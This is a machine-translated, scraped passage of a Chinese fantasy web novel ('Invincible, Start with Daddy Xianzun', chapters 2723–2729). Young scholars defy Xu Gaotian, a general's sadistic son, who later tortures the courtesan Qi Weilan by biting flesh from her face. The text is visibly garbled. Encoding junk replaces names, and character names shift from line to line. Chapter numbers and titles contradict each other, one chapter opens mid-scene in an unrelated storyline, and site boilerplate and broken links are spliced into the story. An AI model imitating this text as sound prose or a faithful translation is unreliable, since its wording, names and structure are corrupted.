    The girl suddenly chuckled when she saw this, and then stretched out her hand to squeeze his flushed cheeks.


    "What a cute little guy!"


    At that moment, Zhuo Ben felt his heartbeat stop, staring at the girl''s eyes blankly.


    An ambiguous breath began to permeate, and a trace of panic appeared in the eyes of this bold and unruly girl.


    It was as if a battle in which she had an absolute advantage suddenly turned against the guest.


    But at this moment, there was a sudden violent noise from upstairs, which was also mixed with women''s cries and the collision and friction of tables and chairs.


    Immediately afterwards, I saw a woman with messy hair walking down the stairs in a panic, saw the girl at a glance, and stumbled over.


    "Miss Qi, come on, it''s the son of Xu. He didn''t know where he got the anger. After he came, he took the sisters to vent wildly, and just knocked Qian''er out!"


    The girl Qiao''s complexion sank, and then she stood up and said coldly: "Xu Gaotian, the bastard, is getting more and more lawless!"


    said, she picked up the hip flask on the table and walked up.


    The women who were accompanying at the table got up.


    And not only them, all the women in the entire lobby on the first floor also stood up.


    This girl Qi took a few steps forward, and suddenly remembered something, she turned around and said to Zhuo Benzheng who had fallen into a sluggish state After eating, hurry up, this is not what people like you should be here. place! "


    After that, she strode up and went upstairs.


    Looking at her back, Zhuo Benzheng suddenly felt an unspeakable feeling in his heart.


    At this moment, Wu Zizhang''s sigh was heard.


    "This girl is probably not good enough. Didn''t you hear what the person just said? It was Xu Gaotian, the son of the general, who came to make trouble!"


    "Yes, it''s a pity, but this is also the fate of women like them." Han Bochao exclaimed.


    "Let''s go as soon as we have eaten! Otherwise, it would be too wrong to fight for a while." Yao Yachao said.


    But at this moment, Zhuo Benzheng didn''t know where the courage came from, suddenly stood up and said coldly.


    "Let''s go, I won''t go!"


    "Brother Zhuo, why is this?"


    The three of them were all surprised.


    Zhuoben said with a gloomy face: "If I want to wait for me to read the books of the sages, how can I not save myself?"


    "But the other party is the eldest son of the General''s Mansion!" Yao Yachao whispered.


    "What about the eldest son!" Zhuo Benzheng''s face showed a touch of determination.


    (end of this chapter)

 Chapter 2724： Do whatever you want

    Chapter 2724 Do Whatever You Want


    "This Xu Gaotian is usually reckless and depraved. You and I have heard about him for a long time. Now that we see him doing evil, is it because of his identity that we can just ignore it?" Zhuoben said righteously.


    "well said!"


    Black-faced scholar Han Bochao was the first to shoot the case.


    "I''ve seen this **** Xu Gaotian displeased a long time ago. Brother Zhuo''s remarks are just what I want. What do you think, I will definitely follow Xu Gaotian!"


    Wu Zizhang drank a glass of wine in one sip, "I''m the one too!"


    Yao Yachao''s face was hesitant.


    Zhuo Benzheng said very solemnly: "Brother Yao, this is what I did alone. If you don''t want to interfere, you can leave, Zhuo will never complain!"


    Yao Yachao sighed and said with a wry smile: "I am not greedy for life or death, but it is unwise to be so impulsive for a woman in the dust, but since Brother Zhuo insists on going it alone, Yao has to give up his life to accompany the gentleman!"


    Hearing this, Zhuo Ben couldn''t help laughing.


    "Okay! I, Zhuo, can have three close friends, it''s worth it in this life!"


    said, he rushed upstairs without hesitation, and the three of them followed.


    You must know that there are still many pleasure seekers in the lobby on the first floor. When they see this action, these people can''t help but look surprised.


    What are they going to do?


    That is the eldest son of the general who is acting!


    Could it be to go to death?


    Some people who are not righteous in their hearts can''t help shaking their heads and sighing.


    At the moment, the second floor is a mess, and the floor is full of broken tableware, tables and chairs.


    Some little maids shiveringly hid behind the pillars and did not dare to look up.


    There is only one table in the entire second floor, which is still intact. Xu Gaotian sat there in his spare time, his face full of gloom.


    Girl Qie stood in front of him holding a wine glass, resisting the anger in her heart, and whispered: "Young Master Xu, no matter what it is because of this time, now you have broken things and people have broken things. There must be something wrong. It''s over, now I drink this glass of wine, and you assume that nothing has happened, how?"


    After that, Miss Qie picked up the glass and drank it.


    But Xu Gaotian was not moved at all, but looked at her coldly.


    She sneered until she had already drunk the wine, "Just as if nothing happened...hehe, what kind of thing do you dare to talk to me in this manner?"


    As soon as he said this, the atmosphere on the second floor instantly became more solemn.


    There was a look of anger in the eyes of the women who went upstairs with Ms. Qi.


    ۧ girl was not angry, but smiled: "Yes, I really don''t count anything in front of your son, but today this matter should always be over!"


    "Closed? Very good, then I will give you two ways to close it! First, let Xiaoqian go with me just now, I can write off this matter!"


    Upon hearing this, these women were in a commotion, and in the middle of them there was a pretty girl with blood still dripping from her forehead, looking desperate.


    She knew very well that as long as she left with this Xu Gaotian, it would mean that she would never see the sun tomorrow, and she would die terribly.


    Fortunately, the Qi girl denied this proposal without hesitation.


    "This method doesn''t work, let''s talk about the second one!"


    "Are you really going to wait for the second one before making a decision?" Xu Gaotian said with a smile.


    The girl ����ۧ shook her head decisively, "No need!"


    "Well, then the second way is... You follow me for this Xiaoqian!"


    As soon as he said this, everyone present changed their colors.


    Everyone knows what this means.


    With the reputation of Xu Gaotian that flower demon, almost all the women who fell into his hands could not see the next day''s sun, and all of them died in terrible conditions.


    Everyone suffered extremely abnormal and cruel torture before dying.


    This is also the reason why this Xiaoqian was so desperate just now.


    I didn''t expect this Xu Gaotian would be so perverted, and even hit the girl Yue.


    There was a commotion in the audience for a while.


    This Xiaoqian opened her mouth, trying to say something, but couldn''t even say a word, only tears ran across her cheeks.


    On the contrary, this girl was very calm, took a deep breath and slowly said, "Master Xu, is there no other way?"


    "Look, I just gave you two choices and asked you to make a decision after listening to them all, but you didn''t listen, but now you ask me if I have other options..."


    Xu Gaotian��s smile on his face became colder, "Is this a trick on me?"


    In the words, a majestic pressure rose from his body, and the suppressed women all shivered.


    ۧGirl''s complexion is also pale.


    Even if she was bold and quick-witted, she couldn''t help being confused at this moment.


    But at this moment, a voice trembling from tension, but extremely firm, came from behind.


    "Miss Qi, don''t promise him!"


    Hearing this, the people present turned their heads one after another, and this girl was shocked all over, and then looked back.


    I saw Zhuo Ben standing pale at the top of the stairs on the second floor, and seeing her look at him, he couldn''t help but smile.


    This girl Qi never dreamed that it would be him who appeared on the second floor at this moment. Can not help but froze in place.


    When Xu Gaotian saw a few strange faces, and they seemed to be scholars, he couldn''t help but sneer.


    "Who are you again?"


    "The student Zhuo Benzheng who participated in this literary meeting in Ren''an City!"


    "Wu Zizhang!"


    "Han Bochao!"


    "Yao Yachao!"


    The four of them all stepped forward and said.


    And this kind of action is even more brilliant in the eyes of the women present.


    ۧGirl even felt that something had exploded deep in her chest, UU reading www.uukanshu. Com''s nose was sour, almost crying.


    Xu Gaotian almost laughed out loud, "Students of Ren''an City? I forgot to mention, then the city lord of Ren''an seems to owe me a daughter and didn''t offer it!"


    "What do you mean by appearing here?"


    Zhuo Ben was looking away from Miss Qi, and then took a deep breath and said, "Master Xu, you are the future young master of Ling''an Domain. Why do you embarrass these weak women?"


    "To embarrass these weak women?" Xu Gaotian''s eyes flashed a touch of misery, "Go on!"


    Zhuo Benzheng said, "I waited all because I admired the prestige of my father, so I came all the way to participate in this literary meeting. I hope that Young Master Xu can look at the face of me and let these women make a living!"


    quiet!


    The quiet to the extreme!


    Everyone held their breath and looked at this Xu Gaotian, even this girl''s heart couldn''t help but shrink into a ball.


    suddenly.


    I saw the muscles on Xu Gaotian''s face gradually twisted at a strange angle, revealing a terrible grin.


    "For your face... OK, then you kneel down, come over and call me three grandpa, I will let these people go!"


    (end of this chapter)

 Chapter 2725： Be vicious

    2725-Swordsman


    "You can''t do it, son!"


    Xu Gaotian''s voice just fell, this girl Qi suddenly changed her face, and she immediately stopped her.


    Actually, it''s not just her, Wu Zizhang and others'' faces have also changed.


    Because these words of Xu Gaotian can be described as extremely vicious, if Zhuo Ben really does according to his request, it means that he will ruin his future, and there is no possibility of diligence on the way to school.


    All this is because of one thing, integrity!


    You must know that they are all scholars who use literature to enter the Tao. If you want to inspire Wen Gong to become a great Confucian, you must first maintain your integrity.


    Only in this way can their context be improved.


    And now Xu Gaotian��s request made it clear that Zhuo Ben��s integrity was to be destroyed and his context was cut off, and his intentions were not virulent.


    �!


    Although these women present are all women of the wind, they also know this truth, so they all looked at Zhuo Benzheng with worry.


    Zhuo Ben''s expression on his face is fluctuating, and he is also quite hesitant.


    Seeing this scene, Miss Qiao was full of anxiety and opened her mouth to speak.


    Xu Gaotian sneered, "Why? Before, I wanted to be a hero to save the United States so aggressively, why did I coy so quickly? Or..."


    "What you did just now was just trying to sell your reputation?"


    Zhuo was originally irritated by Xu Gaotian''s words, but no matter how angry he was, his mind was clear, knowing that the eruption at this moment would not help at all, but would make things worse, so he suppressed his anger.


    "Master Xu, will you be able to let go of these girls as long as I kneel down?"


    "That''s right!"


    "Okay, then I will kneel!"


    As he said, Zhuo Ben was taking a step forward, bending over and bending his knees to kneel.


    Seeing this scene, the many women present turned their heads and couldn''t bear to look anymore, and some of them whispered.


    Xu Gaotian''s face was proud and arrogant.


    His favorite is this feeling.


    made the festival woman cry, and the hero bowed his head.


    This will give him a kind of perverted pleasure, as if everything in the world is firmly controlled in the palm of his hand.


    I could see that Zhuo Ben was about to kneel down. At this moment, a black letter paper suddenly appeared in front of Xu Gaotian.


    After seeing the above content, Xu Gaotian''s complexion changed drastically, Huo Suisheng got up, turned around and broke the window without hesitation.


    The whole process only took a few seconds, and then the domineering and arrogant Xu Gaotian disappeared without a trace.


    Everyone looked at the broken window in a daze.


    Because no one knows what happened to Xu Gaotian, why did he leave suddenly.


    But after a brief silence, all the faces of everyone were relieved with smiles.


    Someone immediately stepped forward to help Zhuo Benzheng who was still in a daze.


    "My son, you are wronged!"


    "Yes, son, thank you so much just now!"


    These women gathered around and twittered to express gratitude to Zhuo Benzheng.


    Zhuo Benzheng was still a little dazed, and could only reply with a dull smile.


    At this moment, this girl Qi stepped towards here.


    Seeing her coming, these women immediately separated a road.


    The girl Qi walked straight to the front of Zhuo Ben and looked at him deeply.


    Zhuoben was a little hairy when she was watching, and he didn''t stand still or didn''t move.


    But at this moment, she seemed to be aware of Zhuo Benzheng''s embarrassment, and this girl fluttered with a smile.


    This smile really seemed to be in full bloom, full of fascination, Zhuo Benzheng was a little silly.


    Then the girl Qi floated fortune, "The slave family is Weiwei, thank you son for just speaking out and helping!"


    Zhuo Benzheng just woke up from the infatuation just now, and then stood where he was helpless.


    "Auntie... the girl is too polite, it''s just our students'' duty to help me if the road sees injustice!"


    Wei Weilan shook his head solemnly, "The son is wrong. Although this is nominally a student''s duty, in the face of power, how many students in the world can really do it? So the son is brave."


    At the end, Qi Weilan was once again a gift.


    The women around also followed, and praised in unison: "Goodness, brave son!"


    Zhuo Ben was getting flushed and he didn''t know where to put his hands and feet.


    "Don''t be ashamed, don''t be ashamed!"


    Seeing his embarrassment, Qi Weilan couldn''t help but smile, and then said: "Master Zhuo and these three masters have worked hard. I have ordered someone to prepare a thin wine, I hope the four can appreciate it!"


    "This..." Zhuo Benzheng hesitated at first.


    Wu Zizhang behind him gently pushed him, and Zhuo Benzheng nodded in agreement.


    Soon, a table of extremely rich banquets was presented.


    "Master Zhuo, everyone, please come to your seat!" Qie Weilan said sternly.


    Seeing that she was so serious, Zhuo Benzheng and the four did not refuse any more, and they took their seats.


    Wei Weilan and many women accompany each other.


    It��s just that this banquet tasted differently from when I was downstairs before.


    At least this unrestrained and uninhibited Qie girl is very gentle and well-behaved at the moment, her speech and behavior are really like a lady of the world, and she frequently toasts Zhuo Benzheng and Wu Zizhang during the dinner.


    After waiting for the banquet, they were almost eating. Several little maids hurried over, all carrying a big baggage in their hands.


    This Wei Lan solemnly took over the burden, and then placed it in front of Zhuo Benzheng.


    "This is a little bit of my heart from the girls in Wanhualou, UU reading hopes that the four sons will not dislike it, and then they will leave here quickly!" Qi Weilan whispered.


    Zhuo Ben was stunned for a moment, he didn''t expect that Qi Weilan would actually drive himself away!


    "Miss Qi...what do you mean?" Zhuo Benzheng asked with difficulty.


    Wei Weilan turned his head to look out of the window, and said lightly: "It''s not interesting, just thanks to a few princes for just taking action!"


    "Then why are you driving us away?"


    After asking this sentence, Zhuo Benzheng realized stupidity.


    "Are you afraid that Xu Gaotian will come back to make trouble again?" He said in a low tone.


    "It''s not afraid, but it will definitely happen! You don''t understand this Xu Gaotian, he is a man who must repay him, what happened to him today is that you refuted his face, so he will definitely come back to retaliate against you. You can only get rid of this right and wrong if you leave here quickly!"


    "Then what do you do if we leave?" Zhuo Ben was asking.


    Wei Weilan smiled slightly, "The fact that our Wanhualou can be opened in this Ling''an city for so long means that we are not vegetarians either. If Xu Gao is naive, he has to weigh beforehand if he wants to attack us, so you don''t have to worry about us!"


    "But..." Zhuo Benzheng still wanted to ask.


    (End of this chapter)

 Chapter 2726： Shot

    Chapter 2702


    "It will be a grand literary meeting in a few days. At that time, the son of the general who has always liked arty will definitely participate. Then it will be the best time to get started!"


    The man who turned into an actor nodded, "If this is the case, then we must act carefully these days and make no mistakes!"


    "Don''t worry! I have arranged everything, but the woman just now is also very interesting. Although she wears a veil, I still recognize her as the eldest lady of the Ren family!"


    The actor nodded, "I''ve already seen it a long time ago, it is the daughter of the Ren family who has concluded a marriage contract with the son of the general!"


    "Yes, it''s her! Strange, how could she appear here. At the same time, who is that man?"


    The male actor frowned, "I don''t know, but this person is by no means ordinary. If you know that he will break my true identity!"


    The man who appeared later sighed, "Yes, although this man has only the seventh rank Wu Yilang, his aura is like the ocean, which is not to be underestimated!"


    Speaking of this, his face condensed, "Who was the one who just did it on you?"


    The male actor smiled bitterly, "Who else can it be? Of course it is the Shura Palace!"


    "Sure enough, it''s these guys. Damn it!" The man who appeared later showed resentment.


    The actor man shook his head, "At this critical moment, no matter who this man is, and no matter what the Shura Temple wants to do, just remember that the purpose of our trip is to be the son of the general!"


    "clear!"


    And when the two were conspiring to talk, Xue Anye had led Ren Ning to the sky.


    "What did the man tell you just now?" Xue An asked.


    "I didn''t say anything, he just asked for my name, but I didn''t pay attention to him!" Ren Ning said cautiously.


    Xue An''s face appeared contemplative.


    He saw at a glance that the man who appeared after him was also an evil thing.


    It should be inseparable from the actor man.


    Thinking about the tumbling inside of the evil thing, Xue An couldn''t help but a faint smile appeared on the corner of his mouth.


    "Let''s go, the street is also shopping, let''s go back!"


    "Um!"


    And that was when Xue An led this Ren Ning to rush back.


    This Ren Xing is anxiously pacing back and forth in the parking lot.


    Suddenly!


    With a roar, a huge carriage slowly stopped in the parking lot.


    Ren Xing was overjoyed when he saw this carriage, and then rushed up quickly.


    The door of the carriage opened slowly, and then a spirited old man walked down from it.


    Ren Xing immediately gave a gift, "Father!"


    Said to be an old man, in fact, this person is only more than 40 years old from the outside. When he saw Ren Xing, a faint smile appeared on his face.


    "Good daughter, are you here to greet your father?"


    Ren Xing nodded again and again, "Yes, father, I have been waiting in this parking lot since I learned that you are about to return. I have paid my attention and I finally saw you!"


    This Ren Xing''s father, the director of the Ren family, couldn''t help laughing.


    "Good! Good! Sure enough, you still have the intention, what about your unbelievable sister?"


    After mentioning Ren Ning, the different tone of the director of the Ren family was cold by three points.


    Ren Xing had been waiting for these words a long time ago. When he heard his father''s questioning, he couldn''t help but feel happy, but he didn''t bring out a bit on his face. Instead, he pretended to be a distressed look.


    "Father, you don��t know that during the time you were leaving, my sister was so prestigious that no one dared to provoke her. After finally letting her go out to do things, she didn��t expect that she would bring it back soon. Man, I dare not say anything, I can only wait for my father to make a decision after you come back!"


    "What did you say?" Ren Different almost thought he had heard it wrong.


    You should know that Ren Ning has always been honest, and it can even be said to be too honest.


    This is also the reason why Ren Different can make his own choice and betroth him to be the son of the general.


    Ren Ning went out this time mainly because of the relationship between Ren Ning and the son of the general.


    But he never expected that when he was trying to make this marriage together, the eldest daughter who had always been honest and friendly would bring back a man.


    How can this not make Ren different a question mark.


    Especially when thinking about the consequences of this matter if it is known to the general, this different complexion becomes ashamed.


    He gritted his teeth and said, "Where is your sister now?"


    "I don''t know. When I went to her courtyard just now, I seemed to hear the man say that he was going to take his sister to the nearby city for shopping!"


    boom!


    With a muffled sound, the ground under different feet instantly cracked, and then he walked out aggressively.


    Ren Xing was secretly happy.


    Humph!


    Look at how arrogant you are now!


    If you dare to slap yourself in the face, you will be pretty good now!


    And sister, after this incident, it is estimated that your image in the mind of your father will be even more unbearable. What will you use to fight me at that time?


    Of course, these thoughts were just tumbling in Ren Xing''s mind. On the surface, he couldn''t see the slightest, and he even looked anxious and worried, as if the friendship between their sisters was so deep.


    Ren Dian couldn''t bear it for a moment. When he walked to the courtyard, he wanted to fly up to find Ren Ning and Xue An.


    Coincidentally, at this moment, Xue An and Ren Ning had already returned to the Ren Family Manor, and then landed in the courtyard where Ren Ning lived.


    Regardless of this scene, he was even more angry, and he immediately turned to Ren Ning and rushed towards Ren Ning.


    At the same time, Ren Ning looked at the spotlessly renewed courtyard, her mouth opened slightly and her face was dull.


    She doesn''t know how long it has been since this small courtyard has been so clean.


    Especially after these women grasped Ren Ning''s temper, they were even more lazy for a day, and in the end, even Ren Ning''s personal maid began to do things.


    But until today, under the slap of Xue An, these women who are accustomed to the wind have finally learned what awe is.


    Just as Ren Ning was stunned, there was a rush of footsteps outside the courtyard, and then Ren Different led a group of people to the courtyard.


    After seeing Xue An. This Ren was shocked, and his face immediately became angry.


    At this time, Ren Ning also saw her father''s arrival Although she was frightened, she hurried forward.


    "Father, you are here..."


    Before she finished speaking, Ren Ning was slapped back a few steps with a crisp sound.


    Then this difference raised his hand to Xue An, and said gloomily.


    "Who is this kid? Say! What is your relationship?"


    Ren Ning covered her face and was a little dazed by the beating.


    But Ren Different saw her look so mad that she raised her hand and slapped again.


    But at this moment, a figure appeared in front of Ren Ning, blocking her behind.


    "First of all, I don''t call this kid!"


    "Secondly, there is no need for you to ask so aggressively about any relationship between us!" Xue An said lightly.


    (End of this chapter)

 Chapter 2727： What is abnormal

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    This sword light came extremely fast, and almost instantly smashed in front of Xu Gaotian.


    Xu Gaotian didn''t panic at all, as if he had expected this sword a long time ago, he sneered slightly.


    "Finally can''t hold back?"


    As he said, he raised his hand and flicked it lightly.


    Zheng!


    With a sound of gold and iron, this sword light was flicked by Xu Gao Tianqu''s fingers, and nailed to the pillars, the tail trembled, and it was a dagger.


    Xu Gaotian sighed slightly. He thought that the attackers should have killed Qing Lao San and Bai Lao Qi, and designed to ambush an entire black-clothed squad.


    But now it seems that the situation is somewhat different.


    At least this person who did it was far less powerful than he thought.


    At this moment, dozens of sword lights attacked Xu Gaotian from all directions.


    Xu Gaotian gave a cold snort and stomped his foot suddenly.


    boom!


    The smoke and dust rose in all directions, forming a dust curtain, blocking the attacking sword light.


    But at this moment, a gloomy sword light suddenly penetrated the thick dust curtain, and pierced Xu Gaotian''s eyebrows with lightning speed.


    This is a mortal blow.


    All previous attacks are paving the way for this sword.


    But just when the tip of the sword touched the hair of Xu Gaotian''s eyebrows, and a little further forward, he could break the bones into his brain.


    Two fingers suddenly pinched the tip of the sword firmly.


    call!


    The strong wind caused by this sword blew Xu Gaotian''s hair, but he didn''t even blink his eyes, but grinned strangely.


    "Do you dare to be embarrassed by this ability?"


    As he said, his fingers slammed hard.


    With a bang, the long sword snapped in the middle.


    There was an uncontrollable hum from behind the dust curtain, and Xu Gaotian''s eyes lit up instantly.


    "Interesting! Really interesting, she''s still a woman."


    With that, the dust curtain in front of him suddenly disappeared.


    It is vaguely visible that one figure is escaping while taking advantage of the chaos.


    But how could Xu Gaotian let her go.


    I saw him sneer, "Want to leave?"


    In the words, the surrounding space was instantly solidified, and even the dust that had never fallen was stagnated in the air.


    The figure was naturally not immune, as if the pause button was pressed, it stood frozen in place, unable to move.


    Xu Gaotian walked slowly through the dust and mist, and came to this figure.


    After seeing her face that was mostly covered by black gauze and her exquisite figure, Xu Gaotian''s eyes burst into fiery brilliance, and then he laughed strangely.


    "Who am I? It turned out to be Miss Li from Wanhualou! Why? I feel unconvinced about the daytime, so come to me to settle the account?"


    With that said, Xu Gaotian tore off her face towel, it was Qie Weilan.


    Looking at this beautiful and slightly heroic face, Xu Gaotian wore a wild smile on his face, and then stretched out his hand to gently stroke her cheek.


    "Tsk tusk, with such a tender little face, it would be a shame if you see blood in the color later!"


    A look of hopelessness appeared in Qie Weilan''s eyes.


    She was not afraid of death, but afraid of falling into the hands of this demon.


    But at this moment, let alone committing suicide, she even moved her fingers as extravagant hopes.


    Xu Gaotian was so excited that he breathed heavily, "Yes, that''s the look in the eyes, there is endless unwillingness in despair, it is so exciting that people can''t control it at a glance."


    As he said, Xu Gaotian leaned close to Qie Weilan''s face, suddenly smiled evilly, and then stretched out his tongue and licked her left cheek.


    That slippery and nauseous feeling made Qi Weilan almost nauseous, but now she can only stand there and suffer.


    Xu Gaotian became more and more excited, leaning to Qie Weilan''s ear, and said in a perverted tone of excitement.


    "Tell me, who is your behind-the-scenes messenger? Don''t tell me no, because now this place is completely unknown to outsiders."


    Following Xu Gaotian''s questioning, Qi Weilan felt his throat loose and regained the right to speak.


    But she did not speak, but chose to remain silent.


    "Chuck chuck!" Xu Gaotian suddenly laughed nervously, until he was out of breath, he pulled Qi Weilan''s hair abruptly.


    Qie Weilan was in pain, and let out a scream, but Xuan closed his mouth without saying a word.


    Xu Gaotian leaned in front of her and said viciously: "Very well, it seems that you want to fight me with silence, then I will fulfill you today, and see how long you can last!"


    After that, Xu Gaotian opened his mouth, revealing his mouth full of white teeth, and bit her cheek in one bite.


    The bite was extremely harsh, and the blood dripped down at that time.


    In the severe pain, Qie Weilan forcibly endured it without saying a word.


    But the more she was like this, the more excited Xu Gaotian was, and his jaw slammed hard.


    puff!


    He actually bit a piece of meat from Qie Weilan''s face abruptly.


    The blood surged, and half of Qie Weilan''s cheek was dyed red.


    It wasn''t until this time that she finally let out an uncontrollable groan of pain.


    A blazing flame lit up in Xu Gaotian''s eyes.


    "It''s great, that''s it, it''s great!"


    In the vague words, he chewed a few times, swallowed the flesh and blood in his mouth, and then grinned.


    "tasty."


    A deep look of fear finally appeared in Qie Weilan''s eyes.


    Because of being eaten a little bit by bit, this is simply the cruelest way to die for a woman.


    "Crazy... lunatic! You lunatic, devil!"


    "Hahahaha Thank you for the compliment, next...I should have a meal!"


    As he said, Xu Gaotian opened his mouth and wanted to bite again.


    But at this moment, a stone flew in obliquely, hitting Xu Gaotian''s teeth.


    With a bang, Xu Gaotian''s teeth were broken several times.


    Suddenly, Xu Gaotian was furious, and shouted at the darkness: "Who?"


    But what responded to him were the stones that flew like raindrops It was strange that these stones did not fly fast, and their momentum was also very flat.


    But no matter how Xu Gaotian dodges, he can''t escape the chase of these stones.


    In the blink of an eye, Xu Gaotian was hit by a wave of stones.


    Under the hustle and bustle, Xu Gaotian could still take care of Xi Weilan, and even relaxed the time and space confinement around him.


    Qie Weilan was keenly aware of this, because she found that her hands and feet could actually move.


    Although it can only be a very minor activity, it is at least a huge improvement.


    Qie Weilan immediately seized this opportunity, desperately madly urging his own cultivation base.


    In an instant, with the movement of Qi and blood, her hands and feet completely returned to normal.


    But she didn''t choose to escape. On the contrary, she rushed towards Xu Gaotian''s direction.


    During the charge, she crossed her hands and waved back, and a sharp dagger appeared in her hand.


    In a short time, she rushed to Xu Gaotian''s back, and then stretched her hands forward, piercing Xu Gaotian''s back and neck.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Chapter 2727 What is abnormal), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2728： This is pervert

    2728-Sorcerer


    She was stuck very well at this time, and she rushed up almost immediately after the stone attack ended.


    Before the dagger in her hand pierced Xu Gaotian''s clothes, a powerful force broke out from Xu Gaotian''s body.


    Xiao Weilan didn''t even hum, but was directly knocked out by this sudden pressure.


    At the same time, this Xu Gaotian roared furiously: "Who is it? Who dares to hit me with the force of the rules? Who is it?"


    If you want to know, with his current strength, a few small stones can be completely annihilated by blowing a breath.


    But he didn''t even have the slightest power to resist the rainy stones. No matter how he urged the body protection spell, these stones could still penetrate them slowly, and then hit him fiercely.


    There is only one explanation for this situation, that is, these stones are obviously not ordinary stones, but strange things that contain the power of rules.


    But the problem is that this kind of thing is extremely rare even in this world. Who would use this kind of thing to deal with himself?


    Gao Tian is furious, but his mind is clear.


    This sudden attack was obviously to save Qi Weilan.


    Don''t ask, this must be Qie Weilan''s backstage messenger.


    Thinking of this, Xu Gaotian straightened up his figure, and rushed towards the flying Qi Weilan.


    But just halfway through his figure, a huge stone suddenly fell from the sky, and it happened to hit him on the head.


    boom!


    There was a muffled noise.


    Xu Gaotian was smashed and almost fell to the ground.


    At the same time, I saw a faint figure flashing through the courtyard, and then picked up the unconscious Qi Weilan on the ground, and instantly disappeared in place.


    The whole process just took a while, and then the courtyard became empty.


    finally awakened from the confusion of being stunned, Xu Gaotian couldn''t help furiously looking at the scene in front of him.


    He stomped his foot abruptly.


    Boom!


    The small courtyard shook violently a few times, and then the buildings collapsed.


    At the same time, countless black shadows rushed from all directions and knelt in front of Xu Gaotian.


    "What is the command of the Second Hall Master!"


    Xu Gao Tian gritted his teeth and gritted his teeth: "Immediately send someone to razor Wanhualou to the ground, and at the same time issue a killing order to chase Wei Weilan, Zhuo Benzheng and others!"


    "Yes!"


    After ���� was ordered, these shadows disappeared like ghosts.


    ����� stood there, stroking his swollen head, and suddenly smiled gloomily.


    "The power of rules, few people in the entire Ling''an domain have this power, so... if you can''t run, I will definitely get you out!"


    At the same time, Qie Weilan woke up from the shaking and found that he was being held by a fat figure walking through the darkness.


    She was slightly startled, and immediately this figure whispered: "Don''t be afraid, it''s me!"


    Wei Weilan opened his mouth, and finally whispered: "Uncle Wu..."


    The figure passed through the darkness, and finally fell into the small courtyard before.


    Under the light, it was the fat **** before him.


    "Forget it, your dad is what I watched and died in front of me, which made me sleep well for decades, and now you are the same again, let me stand by, I really can''t do it!"


    As he said, he let go of his hand, Qi Weilan staggered, stood still, and then gave a deep salute.


    "Thank you Uncle Wu!"


    Eunuch Wu waved his hand, "Thanks, no need. The situation is very critical now. Although I temporarily repelled Xu Gaotian with a stone, he will never give up. If I''m not mistaken, he must have launched his forces now. Start hunting across the city!"


    Hearing this, Qi Weilan looked sad, "I am the one who caused you, Uncle Wu, you can rest assured that I will leave now!"


    said, she turned around to leave.


    "Leave? Believe it or not, as long as you get out of this door, you will fall into the hands of that Xu Gaotian again without going out of this street!" Eunuch Wu said coldly.


    Qi Weilan trembled all over, but she didn''t refute it because she knew what Uncle Wu said was the truth.


    "Okay, who made me and your father good friends back then? Since I saved you, you can''t leave it alone. You can hide with me first!"


    "But won''t this hurt you?"


    Eunuch Wu chuckled, "Although Xu Gaotian is accustomed to lawlessness, but as a housekeeper next to his father, he still wants to give me this face!"


    As he said, Eunuch Wu turned around and walked into the room, sighing: "It''s just a pity that Wanhua Building is!"


    Hearing this, Qie Weilan was shocked, trying to say something, but tears were already falling.


    She hates her low strength and her recklessness.


    What happened tonight not only failed to achieve the goal, but also affected many people.


    Fortunately, everyone in Wanhualou had been dismissed before he did anything.


    I hope they can be obedient, and quickly escape from this city!


    Qi Weilan thought silently in her heart.


    At the same moment, Zhuo Benzheng, Wu Zizhang and other four people were all a little dumbfounded in front of the door of Wanhualou.


    Because the door of Wanhualou is closed at this moment, the inside is pitch black, let alone the shadow of a person, not even a ghost shadow can be seen.


    "What''s the matter? Did you take a break today?" Han Bochao asked in confusion.


    But the expressions on Zhuo Benzheng and Wu Zizhang''s faces became extremely serious.


    "It''s not right, it''s definitely not right!" Zhuo Benzheng murmured.


    The four of them had already left this Wanhualou.


    At that time, Zhuo Ben was angry at Qie Weilan''s sudden indifference, and when his head became hot, he took Wu Zizhang and the three people away.


    But when he wakes up a little later, he realizes something is wrong.


    In the last words of combining with Qi Weilan, I made it clear that I didn''t want to hurt myself!


    Under this situation, the four of them rushed back immediately, only to find that the Wanhua Building was already empty.


    At the time of the mistake, UU Reading suddenly heard a sound of footsteps from all directions, and then saw a dozen people in black walking out of the shadows, surrounding Zhuo Benzheng and the four of them.


    "What do you want to do?" Wu Zizhang immediately shouted upon seeing this.


    But these people in black didn''t pay attention to his words at all, but took a deep look at Zhuo Benzheng in front of him.


    "Your name is Zhuo Benzheng?"


    "Yes!" Zhuo Ben responded subconsciously.


    "Take it down!"


    These people in black rushed up and rushed towards Zhuo Benzheng.


    Zhuo Benzheng and the others have cultivated the way of entering Taoism by writing, but now they are only staying at the theoretical stage, and they have no practical ability at all.


    Seeing these black clothes rush over menacingly, all four of them were a little dumbfounded.


    But at this moment, two people came slowly on the other side of the street.


    The leader was a white-clothed boy, followed by a woman wearing a veil.


    "Are you sure Wanhualou is on this street?" the boy asked.


    "Don''t worry, you can''t go wrong! When I communicated with the Qie girl, she personally drew a picture to mark the location of Wanhua Tower, so we must be right to leave."


    (End of this chapter)

 Chapter 2729： Wensheng Tablet

    Chapter 2729 Wen Sheng''s Tablet


    The sudden appearance of these two broke the solemn atmosphere of the scene.


    Even these people in black stopped and looked at the two people who were walking with weird eyes.


    Because they also felt surprised, the street had been sealed off before they did it!


    Besides, there are so many people, but anyone who is more normal can see that something is wrong!


    At this moment, Yao Yachao, of the four, reacted the fastest and shouted immediately.


    "Help! This dear man, help! We are all students, these people are bad guys, and they want to plot against us!"


    In desperation, Yao Yachao didn''t know what to say. He even jumped out of the idiom of conspiracy.


    Hearing this, the woman wearing a veil just noticed that there were so many people on the street, and she couldn''t help hiding behind the young man in fear.


    The white-clothed boy slowly raised his eyes, first glanced at Zhuo Benzheng, Yao Yachao and the other four people, and then turned his gaze to these black-clothed people.


    At this moment, one of the black-clothed men in the lead shouted in a deep voice: "When doing things in the Asura Hall, the idlers will leave at the same speed, otherwise they will be killed without mercy."


    The young man smiled, "Asura Palace... I really didn''t expect to meet you here too!"


    "Stop talking nonsense, let''s get out of here!" a man in black scolded.


